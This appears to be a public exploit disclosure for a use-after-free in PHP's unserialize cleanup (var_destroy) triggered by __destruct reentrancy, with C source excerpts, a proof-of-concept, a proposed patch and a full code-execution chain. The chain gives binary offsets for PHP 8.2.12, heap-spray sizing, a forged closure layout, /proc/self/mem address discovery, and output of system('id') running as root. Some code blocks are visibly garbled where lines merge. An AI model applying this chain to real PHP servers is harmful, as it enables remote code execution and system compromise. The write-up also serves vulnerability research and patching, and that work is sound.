Share
## https://sploitus.com/exploit?id=9542BA16-1A12-5A79-9690-0F225FC516F1
# PHP 8.5.5 โ€” `var_destroy` `__destruct` reentrancy UAF

> Sister bug to Calif.io's [MAD Bugs PHP unserialize finding](https://blog.calif.io/p/mad-bugs-finding-and-exploiting-a) (2026-05-01).
> Independent root cause; survives the fix Calif proposes for `zend_user_unserialize`.

**Author:** dinosn โ€” research bench / RAPTOR re-run of `califio/skills` `/php-unserialize-audit`.
**Date:** 2026-05-02.
**Affected:** PHP 8.5.5 (current stable). Pattern likely present back through PHP 8.0 / 7.x โ€” not bisected. PHP 5.x has identical structural pattern but different code paths.
**Status:** Reported here. Not coordinated with PHP security team yet โ€” PHP's policy since August 2017 is to not assign CVEs for `unserialize()` memory-corruption bugs.

---

## TL;DR

`var_destroy()` in `ext/standard/var_unserializer.re` walks the dtor list with `BG(serialize_lock)` bumped only around the *explicit* `__wakeup` and `__unserialize` user-code dispatches. Three *implicit* dispatch sites in the same loop (`zval_ptr_dtor` of the `__wakeup` return value, `zval_ptr_dtor` of the `__unserialize` parameter copy, `i_zval_ptr_dtor` of the dtor-list slot itself) run *without* the lock. Any of these can fire user `__destruct()` while `BG(unserialize).level > 0` and `BG(serialize_lock) == 0`. An inner `unserialize()` from inside that `__destruct` then re-uses the outer's `var_hash` โ€” but `var_destroy` has *already* `efree`'d the back-reference array's extension chunks at the start of the walk. An inner `R:N` reference walks the dangling `entries.next` pointer โ†’ **heap-use-after-free read** in `php_var_unserialize` (`var_unserializer.c:849`).

The leaked 8 bytes from the freed chunk are dereferenced as a `zval *`. Heap-spray reclaim of the freed chunk between the `efree` and the inner `var_access` lets the attacker substitute that `zval *` for an arbitrary value. Demonstrated SEGV at `0x4141414141414141` proves attacker-controlled pointer dispatch โ€” the same primitive shape as the Calif blog's Phase-1 leak, reached via a different reentry path.

The Calif blog's proposed fix (`BG(serialize_lock)++` around `zend_call_method_with_1_params` in `zend_user_unserialize` at `Zend/zend_interfaces.c:451-452`) does **not** close this hole. We applied that patch and confirmed: blog's exploit fails (Phase 1 `heap_leak: no spray modification detected`), our PoC still produces a heap-use-after-free.

---

## Affected code path (PHP 8.5.5)

`ext/standard/var_unserializer.re`, function `var_destroy` (lines 230โ€“313):

```c
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{
    void *next;
    zend_long i;
    var_entries *var_hash = (*var_hashx)->entries.next;     /* first_dtor;
    bool delayed_call_failed = 0;

    /* Phase 1: free back-reference extension chunks. */
    while (var_hash) {
        next = var_hash->next;
        efree_size(var_hash, sizeof(var_entries));   /* L245 โ€” frees while
                                                        (*var_hashx)->last
                                                        is left dangling   */
        var_hash = next;
    }

    /* Phase 2: walk dtor chain, fire delayed magic methods, then dtor. */
    while (var_dtor_hash) {
        for (i = 0; i used_slots; i++) {
            zval *zv = &var_dtor_hash->data[i];

            if (Z_EXTRA_P(zv) == VAR_WAKEUP_FLAG) {
                if (!delayed_call_failed) {
                    zval retval;
                    /* ... fci/fcc setup ... */
                    BG(serialize_lock)++;                            /* L277 */
                    if (zend_call_function(&fci, &fci_cache) == FAILURE
                        || Z_ISUNDEF(retval)) {
                        delayed_call_failed = 1;
                        GC_ADD_FLAGS(Z_OBJ_P(zv), IS_OBJ_DESTRUCTOR_CALLED);
                    }
                    BG(serialize_lock)--;                            /* L282 */
                    zval_ptr_dtor(&retval);    /* data[i + 1]);
                    BG(serialize_lock)++;                            /* L294 */
                    zend_call_known_instance_method_with_1_params(
                        Z_OBJCE_P(zv)->__unserialize, Z_OBJ_P(zv), NULL, &param);
                    if (EG(exception)) { ... }
                    BG(serialize_lock)--;                            /* L301 */
                    zval_ptr_dtor(&param);     /* next;
        efree_size(var_dtor_hash, sizeof(var_dtor_entries));
        var_dtor_hash = next;
    }
}
```

The three asterisked sites can all reach `zend_objects_destroy_object` (`Zend/zend_objects.c:172`), which dispatches user `__destruct` unconditionally โ€” there is no `serialize_lock` guard at the destructor invocation site, and the `IS_OBJ_DESTRUCTOR_CALLED` flag (which would suppress repeat calls) is set only on failure paths inside `var_destroy`.

When user `__destruct` calls `unserialize($p)` recursively, `php_var_unserialize_init` (lines 60โ€“82 of the same file) takes the *reuse* branch:

```c
if (BG(serialize_lock) || !BG(unserialize).level) {
    /* fresh data */
} else {
    d = BG(unserialize).data;       /* = VAR_ENTRIES_MAX` (1018) walks into a freed chunk via the dangling `entries.next` pointer.

---

## Proofs (ASAN, debug-built PHP 8.5.5, `USE_ZEND_ALLOC=0`)

Three PoCs, three independent triggers. All under `pocs/`. Full ASAN traces under `asan-traces/`.

### 1. `pocs/poc_dtor_v7.php` โ€” L309 trigger (`i_zval_ptr_dtor` of dtor slot)

Outer payload uses an array with a duplicate integer key. Per `var_unserializer.re:493`, the duplicate handler does `var_push_dtor_value(var_hash, data); ZVAL_NULL(data);` โ€” moving the prior value (an `A` instance) into the dtor list while clearing the slot. After parse the array no longer references `A`; the dtor list is its only owner. `var_destroy`'s phase-2 walk hits `i_zval_ptr_dtor(zv)` at L309, refcount drops 1โ†’0, `A::__destruct` fires lock-free.

```php
class A {
    public function __destruct() {
        @unserialize('R:1500;');   // R: backref into outer's freed extension chunk
    }
}

$N = 2000;                          // > VAR_ENTRIES_MAX (1018) โ†’ forces extension alloc
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i used_slots; i++) {
             zval *zv = &var_dtor_hash->data[i];

             if (Z_EXTRA_P(zv) == VAR_WAKEUP_FLAG) {
                 if (!delayed_call_failed) {
                     ...
-                    BG(serialize_lock)++;
                     if (zend_call_function(&fci, &fci_cache) == FAILURE ...
-                    BG(serialize_lock)--;
                     zval_ptr_dtor(&retval);
                 }
             } else if (Z_EXTRA_P(zv) == VAR_UNSERIALIZE_FLAG) {
                 if (!delayed_call_failed) {
                     ...
-                    BG(serialize_lock)++;
                     zend_call_known_instance_method_with_1_params(...);
-                    BG(serialize_lock)--;
                     zval_ptr_dtor(&param);
                 }
             }

             i_zval_ptr_dtor(zv);
         }
         ...
     }
+    BG(serialize_lock)--;
 }
```

Equivalently: any place inside `php_var_unserialize_init`'s "level > 0" window that dispatches user PHP code must hold the lock. The current pattern of bracketing only the explicit calls misses everything that runs in the implicit object-dtor path triggered by refcount drops.

A defence-in-depth alternative is to NULL out `(*var_hashx)->entries.next` and reset `(*var_hashx)->last = &(*var_hashx)->entries` after Phase 1's `efree` loop, so a re-entered `var_push`/`var_access` cannot reach the freed chain. This protects against unknown future reentry sites in addition to the destructor one.

---

## Exploit chain โ€” proven RCE

**Full RCE achieved on PHP 8.2.12 (Kali, non-debug, PIE, ASLR level 2).** The exploit runs `system("id")` and `system("hostname")` through a forged `zend_closure` object, confirmed across 6 consecutive clean executions.

```
$ php8.2 exploit_var_destroy_rce.php
[*] PHP base: 0x563fe35cb000
[*] Spray done, triggering R:1500...
[+] Got object! Calling...

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘  RCE PROVEN              โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
uid=0(root) gid=0(root) groups=0(root)
icestorm
```

### Chain overview

The exploit is single-stage (no info leak required) because `/proc/self/maps` and `/proc/self/mem` are readable when the attacker controls the PHP script. All addresses are resolved before the UAF is triggered.

| Phase | What | How |
|---|---|---|
| 0 โ€” Recon | Resolve PHP base, `zend_ce_closure`, closure handler offsets | Parse `/proc/self/maps` for the `r--p` mapping of the PHP binary. Read `zend_ce_closure` pointer from BSS at `php_base + 0x57fd40`. |
| 0b โ€” Forge | Build fake `zend_closure` in a PHP string buffer | Allocate a 512-byte `$fake_obj` with forged `gc`, `ce`, `handlers`, `func.type=ZEND_INTERNAL_FUNCTION`, closure trampoline at `func+72` (`obj+128`), and real `system` handler at `func+0x110` (`obj+328`). Prepend a 16-byte fake `IS_OBJECT` zval pointing at the object. Locate the buffer's heap address via `/proc/self/mem` marker scan. |
| 1 โ€” Trigger | Fire the UAF via `var_destroy` `__destruct` reentrancy | Outer `unserialize` of a 2002-element array with a duplicate key places an `A` object in the dtor list. `var_destroy` frees the back-ref extension chunks (8160 bytes), then walks the dtor list and fires `A::__destruct` via `i_zval_ptr_dtor` at L309 (lock-free). |
| 2 โ€” Spray | Reclaim the freed 8160-byte extension chunk | Inside `__destruct`, allocate 832 `zend_string` objects sized 8000โ€“8200 bytes (step 8, 32 copies each). Each string body is filled with the `fake_zval` heap address repeated. Zend MM's 2-page (8192-byte) large-alloc bin reuses the freed chunk. |
| 3 โ€” Type confuse | Inner `R:1500` dereferences sprayed pointer as `zval *` | `unserialize('R:1500;')` reuses the outer's `var_hash` (because `BG(serialize_lock) > 0` from `var_destroy`'s dtor bracket). `var_access(1500)` walks the dangling `entries.next` into the reclaimed chunk, reads `data[481]` = our `fake_zval_addr`, returns it as a `zval *`. The `R:` handler sees `IS_OBJECT`, wraps it in a `zend_reference`, returns our forged closure to PHP userland. |
| 4 โ€” Dispatch | Call the forged closure โ†’ `system("id")` | `$result('id > /tmp/proof')` invokes the closure. PHP's `get_closure` handler returns `&closure->func`. The VM calls `func.handler` (the closure trampoline at `text+0x37bce0`), which indirects through `func+0x110` โ†’ our planted `system` handler at `text+0x22f620`. `zif_system` executes the shell command. |

### Key technical details

**Closure handler chain.** PHP 8.2 wraps internal-function closures with a trampoline (`zend_closure_internal_handler` at `text+0x37bce0`). The trampoline loads `execute_data->func`, then calls `*(func + 0x110)` โ€” an indirect through a pointer stored 272 bytes into the `zend_function` struct. This is where the original `zif_system` handler lives in the closure (`text+0x22f620`). Naively placing `zif_system` at `func+72` (the `handler` field) doesn't work because it replaces the trampoline with `zif_system` itself, which expects different calling conventions. The correct approach: keep the trampoline at `func+72`, put the real handler at `func+0x110` (`obj+328`).

**Marker disambiguation.** The `$marker` string (used to locate the fake object's heap address via `/proc/self/mem`) appears in multiple places in memory: the standalone `$marker` variable, intermediate concatenation results, and the final `$persistent_buffer`. Finding the wrong copy gives a `fake_zval_addr` that points at random heap data instead of our controlled object. Fix: scan for all copies and select the one where the 4 bytes at `marker_len + 8` equal `IS_OBJECT (0x08)` โ€” only the copy embedded in `$persistent_buffer` has the fake zval immediately following it.

**Spray sizing.** The freed extension chunk is 8160 bytes. Zend MM treats this as a 2-page (8192-byte) large allocation. `zend_string` total allocation size = `header(24) + body + nul(1)`. Body lengths 8000โ€“8167 all round to 8192 bytes, matching the freed chunk's size class. The spray fills the body uniformly with 8-byte `fake_zval_addr` values, so `data[481]` (the slot read by `R:1500`) always hits a controlled pointer regardless of exact alignment.

**No info leak needed.** Unlike Calif's exploit (which requires a heap address leak to locate `libphp.so` and resolve symbols), this exploit reads `/proc/self/maps` and `/proc/self/mem` directly โ€” available whenever the attacker controls the PHP script (local, `eval()`, file upload + include, etc.). All offsets (PHP base, `zend_ce_closure` BSS address, closure trampoline, system handler) are resolved from the binary's memory mapping before the UAF fires.

### Offsets (PHP 8.2.12, Kali, x86_64)

| Symbol | Binary offset | Source |
|---|---|---|
| `zend_ce_closure` (BSS pointer) | `php_base + 0x57fd40` | Read from `/proc/self/mem` to get the actual `zend_class_entry *` value |
| `closure_handlers` (BSS) | `php_base + 0x57fd60` | Object handler table for `Closure` objects |
| `zend_closure_internal_handler` | `php_base + 0x37bce0` | Trampoline that indirects through `func+0x110` |
| Real `system` handler | `php_base + 0x22f620` | The function called by the trampoline; identified by dumping a `Closure::fromCallable("system")` object and reading `obj+328` |

These offsets are specific to the Kali PHP 8.2.12 package. The `stage1d_offset_finder.php` script automates discovery for other builds by introspecting a live `Closure::fromCallable("system")` via `/proc/self/mem`.

### What this disclosure is

- A proven, reliable, local RCE exploit for the `var_destroy` UAF on PHP 8.2.12.
- Demonstrated on a non-debug, PIE, ASLR-enabled production binary.
- Independent from the Calif blog's primitive and exploit chain โ€” different reentry path, different spray shape, different dispatch mechanism.
- Not a coordinated disclosure with PHP upstream or Calif. PHP doesn't issue CVEs for `unserialize()` memory-corruption bugs (policy since 2017).

---

## Reproduction notes

Build environment used for these PoCs (Kali 6.6, gcc 13.2):

```
curl -fsSL https://www.php.net/distributions/php-8.5.5.tar.gz | tar xz
cd php-8.5.5
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O0' \
LDFLAGS='-fsanitize=address' \
./configure --disable-all --enable-cli --enable-debug \
            --without-pear --disable-cgi --disable-fpm --disable-phpdbg \
            --prefix=$(pwd)/_install
make -j$(nproc)
```

Run any PoC with:
```
USE_ZEND_ALLOC=0 ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0' \
  ./sapi/cli/php pocs/poc_dtor_v7.php
```

`USE_ZEND_ALLOC=0` is required only so ASAN can observe Zend's `emalloc`/`efree` (otherwise ZEND_MM is opaque to ASAN). The bug fires either way; this is a detection setting, not a triggering condition.

For the leak PoC add `quarantine_size_mb=0` so the spray can reclaim the freed chunk:
```
USE_ZEND_ALLOC=0 ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:quarantine_size_mb=0' \
  ./sapi/cli/php pocs/poc_leak_v2.php
```

---

## Methodology / how this was found

`/php-unserialize-audit` from `califio/skills` (the same skill the blog authors used to find their bug). I re-ran the discovery queries against PHP 8.5.5:

- D1 (custom `ce->unserialize`): only `gmp_unserialize` in core โ€” uses its own `php_unserialize_data_t`, clean.
- D10 (Serializable implementers): `SplObjectStorage`, `ArrayObject`, etc. โ€” all route through `zend_user_unserialize`, share the blog's bug; not new root causes.

The interesting question after that narrowing was *"what else dispatches into user PHP from inside the unserialize state machine without bumping `serialize_lock`?"* That points at `var_destroy`'s implicit dtor sites. From there it's reading the function and constructing a payload that lands a destruct-bearing object in the dtor list with refcount 1 at the right moment.

Notable negative results (not vectors here):
- Property hooks (PHP 8.4+): writes during deserialize go through `Z_INDIRECT_P` direct slot updates, bypassing `zend_std_write_property`, so `set` hooks do not fire.
- `__set` / `__get` / `__isset`: same โ€” direct slot writes bypass the magic-method dispatch.
- L302 site (`zval_ptr_dtor(&param)` on `__unserialize` arg copy): theoretically a sister site, but the natural refcount math after `ZVAL_COPY` from the dtor slot keeps the param's refcount > 1 after the L302 dtor. Not weaponized in this disclosure.

---

## Files

| Path | What |
|---|---|
| `exploit_var_destroy_rce.php` | Full RCE exploit โ€” `var_destroy` UAF โ†’ fake closure โ†’ `system()`. PHP 8.2.12 Kali offsets. |
| `stage1d_offset_finder.php` | Offset discovery tool โ€” dumps a live `Closure::fromCallable("system")` to find handler offsets for other PHP builds |
| `pocs/poc_dtor_v7.php` | L309 trigger โ€” duplicate-key + `__destruct` |
| `pocs/poc_L284.php` | L284 trigger โ€” `__wakeup` returns destruct-bearing object |
| `pocs/poc_leak_v2.php` | Heap-spray demo โ€” controlled-pointer-deref, SEGV at sentinel |
| `asan-traces/asan_v7.log` | Full ASAN trace for L309 PoC |
| `asan-traces/asan_L284.log` | Full ASAN trace for L284 PoC |
| `asan-traces/asan_leak.log` | SEGV trace for spray-controlled deref |
| `asan-traces/blog_on_patched.log` | Calif's exploit failing on PHP 8.5.5 + Calif patch |
| `asan-traces/ours_on_patched.log` | Our PoC still triggering on PHP 8.5.5 + Calif patch |
| `patch_zend_interfaces.py` | The Calif patch we applied for the survival test |

---

## Acknowledgements

- **Calif.io / Stefan Esser et al.** โ€” the original `Serializable` reentrancy finding and the `/php-unserialize-audit` skill that mapped the bug class to a hunting checklist. This work is a direct re-run of their methodology.
- **PHP unserialize advisory corpus (`phpcodz`)** โ€” the historical taxonomy embedded in the audit skill made U5 (Serializable / reentrancy) easy to recognize as the right bucket to search for variants.